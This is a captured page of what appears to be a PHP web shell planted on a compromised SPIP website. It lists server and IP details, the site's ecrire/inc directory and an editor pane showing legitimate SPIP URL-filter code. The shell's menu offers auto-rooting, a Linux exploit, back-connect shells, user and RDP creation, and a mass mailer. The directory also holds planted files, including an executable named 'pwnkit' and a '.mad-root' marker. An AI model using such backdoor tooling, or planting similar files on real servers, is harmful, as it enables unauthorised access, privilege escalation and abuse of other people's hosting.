Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filtres_mini.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Filtres d'URL et de liens * * @package SPIP\Core\Filtres\Liens **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Nettoyer une URL contenant des `../` * * Inspiré (de loin) par PEAR:NetURL:resolvePath * * @example * ``` * resolve_path('/.././/truc/chose/machin/./.././.././hopla/..'); * ``` * * @param string $url URL * @return string URL nettoyée **/ function resolve_path($url) { [$url, $query] = array_pad(explode('?', $url, 2), 2, null); while ( preg_match(',/\.?/,', $url, $regs) # supprime // et /./ or preg_match(',/[^/]*/\.\./,S', $url, $regs) # supprime /toto/../ or preg_match(',^/\.\./,S', $url, $regs) # supprime les /../ du haut ) { $url = str_replace($regs[0], '/', $url); } if ($query) { $url .= '?' . $query; } return '/' . preg_replace(',^/,S', '', $url); } /** * Suivre un lien depuis une URL donnée vers une nouvelle URL * * @uses resolve_path() * @example * ``` * suivre_lien( * 'https://rezo.net/sous/dir/../ect/ory/fi.html..s#toto', * 'a/../../titi.coco.html/tata#titi'); * ``` * * @param string $url URL de base * @param string $lien Lien ajouté à l'URL * @return string URL complète. **/ function suivre_lien($url, $lien) { $mot = null; $get = null; $hash = null; if (preg_match(',^(mailto|javascript|data|tel|callto|file|ftp):,iS', $lien)) { return $lien; } if (preg_match(';^((?:[a-z]{3,33}:)?//.*?)(/.*)?$;iS', $lien, $r)) { $r = array_pad($r, 3, ''); return $r[1] . resolve_path($r[2]); } # L'url site spip est un lien absolu aussi if (isset($GLOBALS['meta']['adresse_site']) and $lien == $GLOBALS['meta']['adresse_site']) { return $lien; } # lien relatif, il faut verifier l'url de base # commencer par virer la chaine de get de l'url de base $dir = '/'; $debut = ''; if (preg_match(';^((?:[a-z]{3,7}:)?//[^/]+)(/.*?/?)?([^/#?]*)([?][^#]*)?(#.*)?$;S', $url, $regs)) { $debut = $regs[1]; $dir = !strlen($regs[2]) ? '/' : $regs[2]; $mot = $regs[3]; $get = $regs[4] ?? ''; $hash = $regs[5] ?? ''; } switch (substr($lien, 0, 1)) { case '/': return $debut . resolve_path($lien); case '#': return $debut . resolve_path($dir . $mot . $get . $lien); case '': return $debut . resolve_path($dir . $mot . $get . $hash); default: return $debut . resolve_path($dir . $lien); } } /** * Transforme une URL relative en URL absolue * * S'applique sur une balise SPIP d'URL. * * @filtre * @link https://www.spip.net/4127 * @uses suivre_lien() * @example * ``` * [(#URL_ARTICLE|url_absolue)] * [(#CHEMIN{css/theme.css}|url_absolue)] * ``` * * @param string $url URL * @param string $base URL de base de destination (par défaut ce sera l'URL de notre site) * @return string texte ou URL (en absolus) **/ function url_absolue($url, $base = '') { $url = trim((string) $url); if (strlen($url = trim($url)) == 0) { return ''; } if (!$base) { $base = url_de_base() . (_DIR_RACINE ? _DIR_RESTREINT_ABS : ''); } return suivre_lien($base, $url); } /** * Supprimer le protocole d'une url absolue * pour le rendre implicite (URL commencant par "//") * * @param string $url_absolue * @return string */ function protocole_implicite($url_absolue) { return preg_replace(';^[a-z]{3,7}://;i', '//', $url_absolue); } /** * Verifier qu'une url est absolue et que son protocole est bien parmi une liste autorisee * @param string $url_absolue * @param array $protocoles_autorises * @return bool */ function protocole_verifier($url_absolue, $protocoles_autorises = ['http','https']) { if (preg_match(';^([a-z]{3,7})://;i', $url_absolue, $m)) { $protocole = $m[1]; if ( in_array($protocole, $protocoles_autorises) or in_array(strtolower($protocole), array_map('strtolower', $protocoles_autorises)) ) { return true; } } return false; } /** * Transforme les URLs relatives en URLs absolues * * Ne s'applique qu'aux textes contenant des liens * * @filtre * @uses url_absolue() * @link https://www.spip.net/4126 * * @param string|null $texte texte * @param string $base URL de base de destination (par défaut ce sera l'URL de notre site) * @return string texte avec des URLs absolues **/ function liens_absolus($texte, $base = '') { if ($texte === null || $texte === '') { return ''; } if (preg_match_all(',(<(a|link|image|img|script)\s[^<>]*(href|src)=[^<>]*>),imsS', $texte, $liens, PREG_SET_ORDER)) { if (!function_exists('extraire_attribut')) { include_spip('inc/filtres'); } foreach ($liens as $lien) { foreach (['href', 'src'] as $attr) { $href = extraire_attribut($lien[0], $attr) ?? ''; if (strlen($href) > 0) { if (!preg_match(';^((?:[a-z]{3,7}:)?//);iS', $href)) { $abs = url_absolue($href, $base); if (rtrim($href, '/') !== rtrim($abs, '/') and !preg_match('/^#/', $href)) { $texte_lien = inserer_attribut($lien[0], $attr, $abs); $texte = str_replace($lien[0], $texte_lien, $texte); } } } } } } return $texte; } /** * Transforme une URL ou des liens en URL ou liens absolus * * @filtre * @link https://www.spip.net/4128 * @global string $mode_abs_url Pour connaître le mode (url ou texte) * * @param string $texte texte ou URL * @param string $base URL de base de destination (par défaut ce sera l'URL de notre site) * @return string texte ou URL (en absolus) **/ function abs_url($texte, $base = '') { if ($GLOBALS['mode_abs_url'] == 'url') { return url_absolue($texte, $base); } else { return liens_absolus($texte, $base); } } /** * htmlspecialchars wrapper (PHP >= 5.4 compat issue) * * @param string $string * @param int $flags * @param string $encoding * @param bool $double_encode * @return string */ function spip_htmlspecialchars($string, $flags = null, $encoding = 'UTF-8', $double_encode = true) { if (is_null($flags)) { $flags = ENT_COMPAT | ENT_HTML401; } return htmlspecialchars($string, $flags, $encoding, $double_encode); } /** * htmlentities wrapper (PHP >= 5.4 compat issue) * * @param string $string * @param int $flags * @param string $encoding * @param bool $double_encode * @return string */ function spip_htmlentities($string, $flags = null, $encoding = 'UTF-8', $double_encode = true) { if (is_null($flags)) { $flags = ENT_COMPAT | ENT_HTML401; } return htmlentities($string, $flags, $encoding, $double_encode); }
Close